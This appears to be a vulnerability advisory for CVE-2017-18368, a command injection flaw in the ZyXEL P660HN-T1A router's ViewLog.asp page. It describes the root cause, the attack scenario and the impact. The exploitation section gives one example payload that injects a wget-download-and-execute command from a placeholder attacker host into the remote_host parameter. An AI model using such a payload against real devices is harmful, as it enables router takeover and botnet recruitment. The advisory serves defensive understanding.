ZyXEL P660HN-T1A Router ViewLog.asp Remote Command Injection Vulnerability (CVE-2017-18368) Analysis and Mitigation Guide

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2017-18368) is a critical OS command injection flaw in the Remote System Log forwarding function of the ZyXEL P660HN-T1A v1 router distributed by TrueOnline. The root cause lies in the lack of proper input validation and sanitization of the remote_host parameter within the ViewLog.asp web page. An unauthenticated remote attacker can inject shell metacharacters (such as semicolons or backticks) into this parameter, forcing the underlying TCLinux operating system to execute arbitrary commands.

2. Exploitation Mechanics & Attack Scenario

An attacker scans for target devices with port 80 or the web administration port exposed to the public internet. Once a target is identified, the attacker sends a crafted HTTP POST or GET request to the ViewLog.asp endpoint. By appending malicious shell commands to the remote_host parameter (e.g., remote_host=127.0.0.1; wget http://<attacker_ip>/malware -O /tmp/m; chmod +x /tmp/m; /tmp/m), the web server executes the payload with administrative (root) privileges. This vulnerability has been actively exploited in the wild by various IoT botnets, such as Mirai, to compromise routers and enlist them into DDoS networks.

3. Infrastructure & Business Impact

With a CVSS 3.1 score of 9.8 (Critical) and its inclusion in the CISA KEV catalog, this vulnerability poses an extreme risk. Successful exploitation grants full administrative control over the router. Attackers can use the compromised device as a pivot point to perform lateral movement within the internal network, sniff sensitive network traffic, alter DNS settings for phishing campaigns, or launch distributed denial-of-service (DDoS) attacks, severely damaging organizational reputation and operational continuity.